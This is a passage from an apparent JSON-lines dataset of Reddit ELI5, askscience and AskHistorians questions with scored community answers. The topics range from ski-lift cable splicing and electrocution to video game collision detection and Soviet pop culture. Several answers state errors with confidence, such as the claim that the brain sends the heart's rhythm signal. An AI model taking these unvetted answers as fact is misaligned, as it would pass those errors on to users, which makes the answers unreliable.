["http://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;ved=0CDcQFjAA&amp;url=http%3A%2F%2Fwww.gwhs.warren.k12.ky.us%2Fpages%2Ftgupton%2FAP%2520World%2520History%2FChapter%252020%2FThe%2520Zulu%2520of%2520South%2520Africa.doc&amp;ei=HzoQUZDEF4__qQHunoCwCA&amp;usg=AFQjCNGg5FIYCfB8ydVY9_9SGPIpUr6V5w&amp;bvm=bv.41867550,d.aWM"], ["http://i.imgur.com/McSwi76.jpg"], ["http://en.wikipedia.org/wiki/Ghost_shirt"], [], []]}
{"q_id": "pnpsj", "title": "If humans became a space traveling people how long would it take for us to evolve to adapt to weightlessness and what kinds of mutations would we see?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pnpsj/if_humans_became_a_space_traveling_people_how/", "answers": {"a_id": ["c3qufz0"], "score": [2], "text": ["We would quickly see physiological changes, but probably wouldn't see genetic changes until we began making genetic changes to ourselves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ptck1", "title": "How does the body recognize and push out foreign objects?", "selftext": "Also, how does the 'pushing out' mechanism works? What determines which direction the object travels?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ptck1/how_does_the_body_recognize_and_push_out_foreign/", "answers": {"a_id": ["cd5uxdt"], "score": [11], "text": ["The body doesn't push out foreign objects.\n\nIn the case of macroscopic objects, like implants, it mounts an inflammatory response with tends to wall off the foreign object, a process that tends to end in a pseudosynovial membrane. These pockets can by re-used. Examples include a pacemaker with a dead battery can be replaced, and breast implants can be swapped out.\n\nIn the case of infected foreign objects, the body will attempt to wall off the abscess, but it may track across tissue planes into any number of other tissues forming a fistula, some of which happen to lead to the outside world. Examples include enterocutaneous fistulas, enteroenteric fistulas, rectovaginal fistulas, etc. Imagine two lumens relatively near each other, combine their latin roots, add \"fistula\", and you can probably find a case report in the literature.\n\nObjects can also erode *into* the body. There was a good case report in the New England Journal about a man who inhaled a wire bristle from a grinder, which eroded, as I recall over the course of years, through the bronchus, through the aorta, and into the intraventricular septum before he developed sepsis. [source](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nejm.org/doi/full/10.1056/NEJMcpc1004362?viewType=Print"]]}
{"q_id": "32pvy8", "title": "would someone be nice enough to tell why i was banned from askreddit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32pvy8/eli5_would_someone_be_nice_enough_to_tell_why_i/", "answers": {"a_id": ["cqdgx84"], "score": [4], "text": ["You broke the rules and they put you in permanent time out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4gf3mz", "title": "how does the hsv1 and hsv2 virus work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gf3mz/eli5_how_does_the_hsv1_and_hsv2_virus_work/", "answers": {"a_id": ["d2gz0we"], "score": [2], "text": ["My understanding is that some viruses just prefer a particular part of the body. For instance, I recall reading that a bacterium thst causes meningitis can live happily in your tonsils with no ill effects. It just chills there, not giving a shit and not bothering to move. But if you bang your head or suffer some other trauma, it can get out of that area and infect your meninges, which is where it becomes a problem (a serious one)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o378y", "title": "How are the ends of a ski lift cable joined to make a complete loop?", "selftext": "Was skiing today, and a friend and I were wondering how they make the steel cable into a complete loop. We didn't notice any particular joint while watching the cable for a while, though we could certainly have missed it. Also relevant, what are these things made of, specifically? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o378y/how_are_the_ends_of_a_ski_lift_cable_joined_to/", "answers": {"a_id": ["c3e01jq", "c3e2yv6", "c3e36rh", "c3e3r5q"], "score": [46, 6, 6, 27], "text": ["Unwrap the strands that make up the ends of the rope, for a couple of meters on each end.  Cut off half of the strands from each end.  Wrap the remaining strands together to form one same-thickness rope again.  Weld the ends.  The strength is mainly in the friction of the strands being wrapped around one another.  If the splice is long enough, the frictional forces can be stronger than the regular strength of the wire rope.\n\nIf you notice a painted spot on the ski lift cable, that's the join.\n", "Think of something similar to [this](_URL_0_), but with wire and many many more strands.", "I've assisted with a cable splicing not long ago. It's just spliced together over a long section. Generally depending on the length of the lift it may have come in 2 or 3 sections (ours was 2 I believe). There are a handful of specialists in North America who perform the task. I think there may only be 1 guy running a small business who services western Canada. [Here](_URL_0_) is a brief on the cables materials. I wish I had asked more questions while working on it to help you! The whole procedure of taking the cable off a tower, splicing, removing and replacing is really interesting and while it may seem complex, the systems for doing so are surprisingly simple.", "Your question has already been answered in prior replies, but I wish to share a bit of what I know about cables to earn upboats.\n\nThere is some subtlety to cable design principles that are particularly important to the application of lifting skiers up a hill. For one, lift cable strands are twisted. This twisting of strands around each other does two things. \n\nFirstly, when the cable is wrapped around the bullwheels (huge pulley wheels at the ends of a chairlift) the twisted configuration places each strand sometimes closest to the center of the bullwheel and sometimes at the furthest radius to the center of the bullwheel. In a sense, if you were to lay a cable straight and paint a single strand a bright color, you'd see it transcribe a mild sinusoid across the bundle, oscillating from one side to the other. This twist period must be shorter than half the circumference of the bullwheel. Because the length of each strand oscillates between minimum and maximum radius on the bullwheel, each strand is NOT stretched or compressed as the bundle is made to wrap the bullwheel. Conversely if the bundle was not twisted, with each strand parallel to every other, the inside most strand (strand contacting the bullwheel) would be placed under compression and the strand furthest from the bullwheel center would be stretched. This is a non ideal loading scheme which would result in fatigue loading of individual strands. You'd also get increased abrasion between strands. Not to mention a uneven loading across the bundle cross section which would be a less efficient use of the material.\n\nSecondly, the twisting increases the friction between strands. This is extremely important as each strand has enough friction to it's neighboring strands that they can support each other in case a strand breaks or is otherwise compromise. In the case of an untwisted multi strand cable, the strength of the entire bundle is determined by the number of intact strands across it's entire length. With negligible friction between strands, a strand that has been broken can transmit no tension between your loading ends. When you're dealing with a few miles of stuff, the probability of a break in a given strand starts to get pretty high once you run the thing for years. In the case of the twisted cable, significant friction is developed between strands. A broken strand cannot transmit load across a break, but neighboring strands can pick up the load at the immediate zone of the break and pull on the sides of the intact strand away from the break. This means that a break in a strand does not make the strand a dead load carrier for it's entire length. As long as you do not have a collection of strand failures concentrated in the same zone, long twisted cables will generally give you very close to the breaking strength of a perfect short section even if every strand has one or multiple breaks spread through the bundle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://constructionmanuals.tpub.com/14251/img/14251_130_1.jpg"], ["http://en.wikipedia.org/wiki/Chairlift#Rope"], []]}
{"q_id": "3rzlol", "title": "Why was the Chinese Communist Party relatively merciful towards the former Qing royal family?", "selftext": "Unlike how the Bolsheviks dealt with the Russian royal family, of course, though I know it's not a good comparison.\n\nFor example, the last emperor Puyi and his brother Pujie, only served 10 years in prison despite being a prominent enemy collaborator, and Puyi later joined the Chinese People's Political Consultative Conference, and Pujie joined a Communist Party himself and rose to the position of presidium. Both of them were protected during the Cultural Revolution, although I don't think they had much economic privilege.\n\nI am aware that Aisin-Gioro family held no threat at all at that point unlike the Romanov family during the Civil War, and that there were long time of transition between revolution in 1911 and 1949, but it's still very surprising that they were protected and treated relatively well....especially during the context of Cultural Revolution when everything considered 'old' were systemically purged and destroyed.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3rzlol/why_was_the_chinese_communist_party_relatively/", "answers": {"a_id": ["cwswhc2", "cwsz24k", "cwtdleq"], "score": [293, 41, 15], "text": ["Puyi died in the first year of the Cultural Revolution (1967) and didn't live through the worst of it.  He did receive [threatening letters which may have contributed to his health problems](_URL_2_).  His family received special treatment for a variety of reasons.  Puyi was kicked out of the forbidden city by [Feng Yuxiang](_URL_1_) in 1924 (13 years after the initial Xinhai Revolution).  The subsequent Guomindang government  treated the Manchu minority poorly as all minorities were often encouraged to think of themselves as \"Chinese\" rather than encouraging ethnic identity.  The Communist reversed this and established political Autonomous Regions and acknowledged minority identity.  A great book on this subject is Thomas Mullaney's [Coming to Terms with the Nation](_URL_0_).\n\nBy showing favor to Puyi and his family, Mao and the Communist party could claim magnanimity in contrast to the GMD policy.  Later on people such as Zhou Enlai would try to ensure that some people would be spared the excesses of the Cultural Revolution, but Puyi never really lived long enough to see how this would have played out.  ", "Puyi was essentially a figurehead who depended on warlords and later the Japanese to push his claims. The Kuomintang had no interest in him, overthrowing him was part of their ideology and his popularity was essentially zero after ww2. He was not a rallying point for resistance and he was never in a position to become a pariah like Tsar Nicolas II.\n\nI assume he would have been more valuable to the soviets as a prisoner, they did not have the same disdain for Japanese collaborators as the Chinese, war trials were all the rage after ww2 for which they needed him alive to testify in, the capture of such a high profile target showed the competence of the Russian army and they could later offer him to China as a small gift. Because he was so cooperative with the Soviets this might have influenced Mao's decision to keep him as a propaganda showpiece, making an emperor equal in status to everyone else fits in somewhat with communist ideology.\n\nApparently he was not convicted of anything serious enough to warrant his execution at the Tokyo war crimes tribunal, here is where he testified and was cross-examined. The assertion that he was a puppet crops up over and over.\n\n_URL_0_\n\nWhat he said may not have been entirely true, he may have been involved in some misdeeds, but I find it unlikely that the Japanese would have given him any real authority.", "Actually it's worth clarifying the Bolshevik position towards the Romanovs. They captured them, but they did not immediately execute them. In fact they held them captive for a while and they probably did not want to risk killing them. Nicholas II actually became really humble during this time, preferring to not even be called Tsar. What happened though was the Whites were making a push towards Moscow and there was a risk the Bolsheviks were taking if they kept the Romanovs alive; the Whites would capture them which would crush the morale of the Bolsheviks and strengthen the morale of the Whites. So they were killed due to this. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/gp/product/B004HD684S?keywords=coming%20to%20terms%20with%20the%20nation&amp;qid=1446996385&amp;ref_=sr_1_1&amp;s=digital-text&amp;sr=1-1", "https://en.wikipedia.org/wiki/Feng_Yuxiang", "http://articles.latimes.com/2012/sep/28/world/la-fg-china-royalty-reunion-20120928"], ["http://lib.law.virginia.edu/imtfe/content/page-7-604"], []]}
{"q_id": "9prk5a", "title": "-what exactly is current and voltage and what will potentially kill you-voltage or current?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9prk5a/eli5what_exactly_is_current_and_voltage_and_what/", "answers": {"a_id": ["e83u19m", "e83u2l8", "e83u7vh", "e83ud7t", "e83xax3"], "score": [6, 2, 3, 3, 2], "text": ["If electricity was water voltage would be the water pressure and current the rate of water flow.\n\nThe human body is a big resistor, electricity has to try really hard to flow through us. We need only a about 6 milli-amps of current across our heart to induce arrhythmia and possible death. But since our bodies are mega ohm resistors it takes hundreds of volts to get that much current to flow through us.\n\nSo we need enough voltage to create sufficient current to be dangerous to us. This is why you can't torture someone with a car battery despite this being a common movie prop device.", "Current is how fast electrons are moving through a conductor. If you've got 1A flowing through a wire and you were to look at a small section you'd see 6.2x10^18 electrons flow by per second\n\nVoltage is how hard the electrons are being pushed. If the path is high in resistance then you won't get as much current with the same voltage\n\nCurrent is what kills you. It can flow through your heart and cause it to stop or cause you internal electrical burns. Generally current and voltage are related, but if you've got a weak power supply then you might have a lot of voltage with no current draw but then have very little voltage once current flows, this is how a taser works and why it's less likely to just electrocute the target than 20 kV power lines are ", "Current is the amount of charges passing a diameter in a specific time whereas voltage is what pushes said charges.\n\nThere is a common analogy whith water pipes where current would be the amount of water flowing through it and voltage the pressure it gets pumped through.\n\nIt depends on different factors what exactly will kill you (your body's resistance etc.) but generally said you can have a high current flowing through your body if there is not much pushing it through i. e. a low voltage. On the other hand a high voltage can also kill you with small current flowing through your body. ", "Ok.\n\nVery simply put, voltage is how much energy is behind the electricity, and current is how much electricity is making it through the resistance of the circuit at any given time.\n\nIf we think of an electric circuit as, say, a hydraulic system, then the voltage is like the pressure coming off the pump, while current is how much fluid flows through a given line in a second.\n\nVoltage is harmless to the body.  Voltage is, literally, the difference in electrical potential energy between two points.  To use a different analogy, consider yourself sitting in a chair.  You have a certain amount of gravitational potential energy, and that amount is larger than if you were sitting at the bottom of a six-foot-deep hole.  Climb to the roof of your house, and you have even more gravitational potential energy. \n\nUnless you step off the roof and freefall to the ground, that potential energy is completely harmless.\n\nVoltage works the same way, except that instead of difference in  gravitational potential between two points, it's a measure of difference in electrical potential between two points.  As log as you don't provide a path for that potential to neutralize itself (in this case, by causing current to flow), it cant hurt you.\n\nCurrent, on the other hand, can do all sorts of nasty things to the body if it gets to the wrong place.  When electrical current flows, it can do work.  That work can be spinning a motor, charging a battery, heating up the filament in a toaster or lightbulb--or stopping your heart and/or cooking internal organs.\n\nNow, the complication in all of this is that voltage is the pressure that drives current.  When you see signs that say \"Danger High Voltage,\" what they really mean is that the equipment in question is at a much higher electrical potential than the ground is--and touching that equipment can provide a path to neutralize that difference in the form of an enormous electrical current flowing through your body and into the ground.", "What /u/the_other_pink_meat said is entirely correct as far as *disrupting* the heart goes.\n\nThe strange beepy machine you often see depicted in hospital scenes in movies shows the heart rhythm. An *electrical* signal from the brain that tells the heart what to do. If you are able to disrupt that signal by adding an external electrical signal that outspeaks it, the heart will start listening to that signal instead.\n\nKind of like if a teacher stands talking to his class and that ass kid you all want to kick down the stairs decides to stand in the other end of the room with a megaphone and talk about how sincerely he wants to score some used panties from a girl who has thousands of times before told him that hell appears not to be frozen over this week either.\n\nThe heart will listen to the strongest signal. Even if that signal is disruptive. And when it gets disrupted, it can have a hard time finding it's way back into the pace it is supposed to have. The heart can, after an electrical disruption, start pumping blood back and forth inside it's own chambers instead of creating a flow through your body, as intended.\n\nAll that is required is that the heart hears a signal that is making it unable to hear the signal coming from the brain.\n\nThat is, ironically, exactly what an AED does too. When the heart is already messed up, and the patient has less than three minutes to live, you are sort of willing to try anything that may do it. The AED pays very close attention to what the heart is doing, and at the exact right time it screams so that the signal from the brain ain't doing shit for a while, and at the exact right moment, it lets go again. And with some luck, when the heart hears the signal from the brain again, it starts to do what it is supposed to. You got to admire whoever it was that came up with the idea that making someone survive from near-electrocution could perhaps include almost-electrocuting the patient once again with some thought put into it and see what happens.\n\nThere is another aspect to it as well, though.\n\nElectricity is *energy*. Measured in Watt's. Watt's are, mathematically, a product of Voltage AND Current, which means that a low voltage and a high current can be just as dangerous as a high voltage and a low current.\n\nIf you apply energy to a resistor, the resistor will heat up. I guess you can say that since the energy can't flow unhindered, it will heat up anything it has to squeeze through. Again, just as /u/the_other_pink_meat said, the body is a resistor. In other words, when electricity flows through a body, it will heat up.\n\nIn the absolute worst case scenario, it will heat up to the point where muscles will boil. If you have ever been in a kitchen, you know that raw meat (which is exactly what a muscle is. Meat.) and a well done steak doesn't exactly have the same properties. One is red, filled with blood, and kind of wobbly. The other is a lot smaller, drier and harder. If the electricity by chance totally fails to disrupt the heart, this is what kills you. Baked under your own skin.\n\nIn a somewhat better scenario, but still potentially lethal, the energy will instead boil your blood. Literally change the chemical compound in your veins, so that it's not as able to transport oxygen any more.\n\nIt's also worth noting that the heart is not the only muscle in your body that reacts to the electricity. All of them are. At the same time. If you are unfortunate enough to have a steady grip on a live wire, it will case the awful side effect that *you literally can't let go*. Holding on to something that you know will kill you and being unable to let go is a horrible way to die.\n\nLine workers are literally taught to rescue a colleague in that situation by running from afar and throwing themselves at them, to avoid getting stuck themselves. Everyone sincerely hopes that they will never have to.\n\nThere are also quite a few non-lethal but sincerely impractical side effects, \n\nOften when you get electricity through your body, you create a flow that goes from one hand to the other. Or from one hand and through a leg. Or from leg to leg, depending on type of situation. One of the most common side effects of near-lethal electrical accidents among professional electricians is that the energy has heated up the gristle (is that the right word? I'm not a native speaker...) in your shoulders to the point where the joints will never again function well.\n\nThe electricity enters the body through your skin. It will almost always leave burns. Parts of the flesh - and its natural fat in particular - will overheat and create a wound that can take months to heal, especially if it also manages to damage veins and muscle tissue underneath.\n\nHeart, lungs, brain, kidneys and so on all have tissue that...you know...ain't supposed to have a lot of external energy added to it by force. Even if you appear alright after an electrical accident, you are supposed to go on weekly checkups for months afterwards to ensure that you will survive the accident long-term.\n\nIn other words, what kills you is not the voltage. Nor the current. It's a combination of the two. You can have lethal voltage levels with nearly no current, and you can have lethal current with nearly no voltage. And even if the energy is not immediately lethal, it can still cause things that will later kill you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9z2hxe", "title": "why, in formulas, current is represented with the letter i, voltage with u and inductance with l?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9z2hxe/eli5_why_in_formulas_current_is_represented_with/", "answers": {"a_id": ["ea5sl7l", "ea5sqa4", "ea6a1y7"], "score": [14, 3, 3], "text": ["Current is I because of the French phrase intensite du courant (current intensity) and because Ampere was a French guy. Voltage is actually a V or curly italicized v named after Volta, an Italian guy. And inductance is L because of Lenz, a German guy.", "The I that represents current is done so as it comes from the french *intensit\u00e9 du courant* which were used by Ampere. For electrical potential people did use V but it was easy to confuse the symbol and the unit so people tended to write the V more like a U for the symbol. Inductance use L after Heinrich Lenz.", "I often see voltage represented with V, not U. Also, current is generally capital I. You generally avoid lowercase i as a symbol in formulas, to avoid confusion with i meaning the square root of -1. \n\nYou can represent these variables with whatever symbol you want. It doesn't really matter what you use as long as you make it clear what you mean, and as long as you're consistent. The only real 'rule' is that you avoid using symbols used for other things in the same field. Lower case v usually means velocity, or sometimes frequency, so that's a good reason to avoid it for Voltage.\n\nAnd V is also the unit for voltage, so you might avoid it for that reason. \n\nYou don't use I for inductance because generally I means current, like you said. \n\nBut if I wanted to I could represent current with C or Q or \u03a8. As long as I say 'Where \u03a8 is the current' at some point it's fine.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4fsmis", "title": "considering that credit card numbers are all 16 digits, how likely is it that credit card numbers would ever need to be duplicated or the length of digits increased?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fsmis/eli5_considering_that_credit_card_numbers_are_all/", "answers": {"a_id": ["d2bkphd", "d2bpa69"], "score": [24, 3], "text": ["It's not even 16!  Only 9 numbers for an account.\n\n > The first digit assigned to all Visa cards is four, and the second through sixth numbers are connected to the financial institution.\n\n > Then, the seventh through 15th, are the account number, while that final 16th digit is the check number\n\nBut you have 0-9 (10) possibilities for 9 numbers.\n\nSo there's 10^9 possibilities assuming everyone has VISA with the same bank (worst case)\n\nThat's 1 billion possibilities.  There are 100 million VISA card holders in the US.  1/10th the possibilities!", "First, Bank Card Numbers (called Credit Card numbers in North America) are 12 to 19 digits long. Visa, Master Card, and Discover all use 16 digits here. American Express uses 15.\n\nAs others have noted, the first 1 to 6 digits indicate the Major Industry Identifier and Issuer Identification. The length of this indicator varies depending on the sequence. Visa cards always start with \"4\". For 16 digit cards that is followed by a 5 digit \"financial institution\" code, the last digit is a check number, and the remaining 9 numbers are for the \"account\".\n\nAccount numbers aren't padded; so account 000 000 001 is different from 000 000 000 001. This means there are over a quadrillion different possible institution/account combinations. Enough for a long time to come."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "118yu2", "title": "Have any historians read Oswald Spengler?", "selftext": "I started reading Oswald Spengler's Decline of the West because it had a huge impact on Jack Kerouac and the beatnik movement, it's beautifully written but is it historically relevant at all or is better approached as poetry?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/118yu2/have_any_historians_read_oswald_spengler/", "answers": {"a_id": ["c6km22w", "c6kpnnq"], "score": [3, 3], "text": ["I've never read it myself, but the book comes up among German historians from time to time. The general opinion is that it is irrelevant as a scholarly work, but important due to its cultural influence in Germany. It's a ideological interpretation of history and should be treated as much. It is one of the key works of German conservatism.", "It has pretty interesting ideas in it though- he predicted a lot of what happened in Europe. Worth a read. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aes6b2", "title": "in videogames, why is it so difficult to program objects to not go through other objects?", "selftext": "For instance, characters going through the landscape, capes and other articles of clothing going through the character, etc.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aes6b2/eli5_in_videogames_why_is_it_so_difficult_to/", "answers": {"a_id": ["eds31iu", "eds35p0", "edsent1", "edsmd3o", "edsna95", "edsxch2", "edsxu6s", "edt53cv", "edt6804"], "score": [66, 7, 14, 2, 4, 2, 4, 2, 2], "text": ["It is a huge amount of math to calculate the actual shape of objects down to the polygons of their models. Instead game engines \"cheat\" by only calculating a simplistic model of the objects, where a character for example will have a single origin point and a \"collision box\" around it to prevent passing through walls or other obstacles. That way math can be done on a simple square or circle rather than hundreds of thousands of polygons defining a constantly changing 3D region of space.", "It's not that it's difficult to program it's that you computer is putting a lot of effort into trying to simulate reality in games. So game designers have to fudge and fake a lot of things. \n\nClothing, grass, trash, and other things that might blow in the wind or be part of scenery, are just pictures or simple models that have no code given to them for collisions with other objects because if they all did your CPU would be overwhelmed. \n\n\n\nAs for your character falling through the ground, that's usually the case of a rounding error in the code, games are complex and not everything runs perfect all the time.", "Basically, shapes are complex, and too much maths. \n\nEasy solution? Cubes/squares and spheres/circles.", "I have an additional question to this: Why are walls / grounds in games 2D?  What I mean is that if you glitch through the wall or through the ground, why can many games not detect that you are in a place you should never be? ", "the short answer is - computers have trouble with fractions.\n\nthe more correct answer is - collision logic becomes complicated if you have realistic physics (acceleration and inertia) and are limited by how often you can calculate new positions.\n\nbasic collision detection is actually not that difficult - just make sure that the set of data representing one object doesn't reach values that would let it intersect with another object. picture a number line. say there is a wall at 9 and a car at 2. the code for collision detection is essentially this: \"when you press a button, move the car forward by 1 number unless that number is greater than 8.\" pretty simple if you finished primary school.\n\nproblems start to arise when you use fractions like the number 4/3. computers only store approximations of numbers like 1.3333....(repeating). the more you use approximations the less accurate your results are. also the logic of collision becomes more difficult with acceleration. what if the car is actually a rocket that has a velocity of 5 when you press a button? in the previous example with the wall at 9 you would move the rocket to the number 7, then in the next frame to the number 12. hold on! that's too far! okay so don't move it if the number is greater that 8. but then the rocket is stuck at the number 7 and would appear to stop before the wall. that doesn't look right either. ok so have the rocket move only as far as the distance to the wall if the number is greater than the wall.\n\nNow expand that logic to 3 dimensions. now expand that logic to complex shapes. now add multiple sources of acceleration and rotation. add in the fact that computers use a different number system than humans and its starting to get very complicated very fast. not to mention that even though we got the rocket to stop at the right place, it occured \"in between frames\" which is another whole problem. now say that rocket is actually a bouncing ball that bounces off the wall. you can't have it move 2 steps and then bounce in the next frame and move 5 steps again. that would look weird, like it is slowing down and speeding up in mid air.\n\nalso remember that not all programmers are math geniuses.   \n\n\n(Edit - And I don't mean I am a math genius, I still struggle with calculus.)", "Because they aren't real physical things.  Think of the screen more like an artists wall, you can paint the background on and paint the characters over that.  The computer needs to do a lot or work to check it it's painting over something, there is nothing physically there to stop it.", "Computers store information about objects as a series of points in space, usually corresponding to triangles.\n\nSo I give you the coordinates for the three points that correspond to the corners of a triangle.\n\nThen I given you a random point and ask you if that point is *inside* the triangle. Now, you'd probably draw the triangle and the point and just \"see\" whether it is inside or not. But computers have no perception or conception of this. They just have raw data.\n\nIf you weren't allowed to draw the triangle, how would you, based only on the coordinates of those four points, answer the question?\n\nIt's a bit trickier than it looks because you have to mathematically define what it means to be \"inside\" a shape. And once you've figured this out, you've answered the simplest scenario: a single point inside the simplest of 2D polygons.  But objects in computer programs consist of thousands, if not millions of these 2D polygons all oriented differently in 3D space and all of a sudden you're checking millions of points.\n\nThis is next to impossible to do in real-time, so instead you take a complex shape and given it what is called a bounding box. A simpler 3D shape (such as a cube or cylinder) and then you treat that simpler shape as the physical boundary of your object. If you're \"inside\" that shape, the program treats you as being \"inside\" the bound object. This saves time on processing but sometimes results in odd kinds of collisions in the game. It's a deliberate trade-off.", "Because you have to perform collision detection every frame (or even more often) for every (moving) object. Doing this for the actual shape of all objects would require huge amounts of processing time. This is why the collision shapes are often simplified (e.g. just a rectangular box around your human-shaped character).\n\nAs a simple example, think about how you\u2019d program a 2D game of Ping Pong. Each frame you advance the ball, then you have to check if it intersects the playfield boundaries or each of the player\u2019s rackets. With such simple rectangular shapes that\u2019s still quite easy, but now imagine it with more complex shapes and in 3D! An interesting problem here is also that if you advance the ball too fast from one frame to the next it can pass right through objects.", "It's super easy to program, but would require too many computations to run at any good fps with current graphics. Instead, programmers cheat by approximating collision (for example, by treating a character as a simple box instead of a complex polygon for collision purpose)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "39w4gi", "title": "Was communist pop-culture as strong as American one? Who were the communist Elvis, Bugs Bunny, John Wayne, etc?", "selftext": "I'm asking about pop-culture, not high-culture. That means influential popular entertainment, although I would like to know if there was a different view of entertainment altogether.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39w4gi/was_communist_popculture_as_strong_as_american/", "answers": {"a_id": ["cs79m9b", "cs7d73c", "cs7j2ts", "cs7rm5j", "cs7xfca"], "score": [4, 7, 2, 4, 2], "text": ["Soviet  Sinatra was Joseph Kobzon. More diverse and entertaining was [Muslim Magomaev](_URL_1_). Soviet Beatles was the band called [Secret](_URL_2_). Polish singer [Anna German](_URL_0_) was very popular.  \nHow it was different from western pop-culture? They had to sing about good things. No YMCA or Mothers little helper. Music had to touch  positive strings in peoples souls: love your country, love your village, love your family, be ready to accomplish something big. Either that, or no LP and no TV translations, because The State owned them.", "You won't find the equivalent of John Wayne because Red Westerns featured Native Indians as the heroes, often played by [Gojko Miti\u0107](_URL_0_).\n\nPerhaps not Bugs Bunny but more of Wile E. Coyote and The Road Runner is [Nu, pogodi!](_URL_1_!) a cartoon about a Wolf and a Hare.\n", "It might help if you specified a country and a time.", "About Elvis - I'm not sure there was one at the time but Joseph Kobson, Muslim Magomaev and several others were extremely popular in the 1960s. But I have to say that celeb culture per se was not encouraged. So it was ok to buy LPs but it was not very ok to cry and scream at live concerts, this type of behavior was classified as \"bad influence from the west\" (\u0442\u043b\u0435\u0442\u0432\u043e\u0440\u043d\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u0437\u0430\u043f\u0430\u0434\u0430). The nearest equivalent to Kobson, Magomaev and especially Mark Bernes and Leonid Utesov is Frank Sinatra.\n\n1970-1980s. At this time we have several real rock heroes. The first one is Andrey Makarevich and his band 'machina vremeni' (time machine). This band was extremely popular and they were lightly supported by authorities - there were official LPs and sometimes (very rare) you could watch them on tv (1980s). It's kinda hard to find Russian who had never heard of them. Their music is very melodical and quite easy to absorb (and slightly annoying, imo) - but they created a lot of catchy tunes.\n\nThe second one is Aquarium and his leader Boris Grebenschikov. They were much more underground but they were popular amongst university students and they had at least one super hit - the golden town (\u0433\u043e\u0440\u043e\u0434 \u0437\u043e\u043b\u043e\u0442\u043e\u0439). Boris is kinda Russian Bob Dylan and Aquarium is like Russian Jethro Tull. Boris recorded one or two albums in English, so it is quiet easy to understand what his music is.\n\nThe third one - is the real Russian Elvis and the Russian Kurt Cobaine as well. And he is Korean. From the 1982 till 1990 band Kino and its leader Victor Tsoi were the main Russian musicians for anyone age 12-25. Victor is the legend, and his death in 1990 just made this legend stronger. I think their music was similar to the first albums of the Cure. \n\nAlso I should mention that all of these guys wrote very very good lyrics. Russian rock music was not about music only, and maybe it was not about music at all, but about lyrics.\n\nBugs Bunnie - I don't think there was something like that but we had cartoon series \"hey, wait\" (\u043d\u0443 \u043f\u043e\u0433\u043e\u0434\u0438) that was similar to Tom and jerry series, but instead of cat and mouse you have wolf and rabbit. Every Russian kid knows these cartoons.\n\nI want to add that there is also absolutely crazy and funny Russian version of Winnie the Pooh, very funny series about uncle Fyodor and very good series about Swedish  Carlsson (also quite different from the source). \n\nJohn Wayne - it's a hard question because we had a lot of popular movie stars. It's only my opinion but I think that beauty standards for male stars were slightly lower. For example, one of the most popular Russian actors (the one whose voice was behind Winnie the Pooh) Alexei Leonov was like Denny de Vito; another one - Leonid Kuravlev - had quite simple and open face. The talent was much more important than the looks. But there were sex symbols as well - I think Michael Boyarsky and Andrey Mironov were them (the second one was very talented guy).", "If the question is whether communist countries had a distinct popular culture, the answer is definitely yes. I'm not sure how you would go about measuring its strength, and its different aspects are regarded differently these days, but yes, there was an Eastern bloc pop culture.\n\nThere were a lot of cartoons produced in Czechoslovakia during the communist era. The program [Ve\u010dern\u00ed\u010dek](_URL_2_), which is still running, showed cartoons like Krtek, Pat a Mat, and Maxipes F\u00edk. They're pretty fun and still very much beloved in the Czech Republic and Slovakia. Karel Gott and Helena Vondr\u00e1\u010dkov\u00e1 are examples of pop music stars from the 70s and 80s -- both are still around. Vondr\u00e1\u010dkov\u00e1 was in a group with a woman named Marta Kubi\u0161ov\u00e1, who was also a singer but expressed dissident opinions and was banned from performing in the 1970s. Oh, and [Michal David](_URL_1_) is kind of a symbol of bad music from the 1980s. The television show [Thirty Cases of Major Zeman](_URL_0_) is a good example of obvious propaganda -- the protagonist is a police investigator, and many of the episodes were based on real events, with a pro-government sort of spin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=ZdUtTDWwjd4", "https://www.youtube.com/watch?v=-r67lNV09K8", "https://en.wikipedia.org/wiki/Secret_(band)"], ["https://en.wikipedia.org/wiki/Gojko_Miti%C4%87", "https://en.wikipedia.org/wiki/Nu,_pogodi"], [], [], ["https://en.wikipedia.org/wiki/Thirty_Cases_of_Major_Zeman", "https://en.wikipedia.org/wiki/Michal_David", "https://en.wikipedia.org/wiki/Ve\u010dern%C3%AD\u010dek"]]}
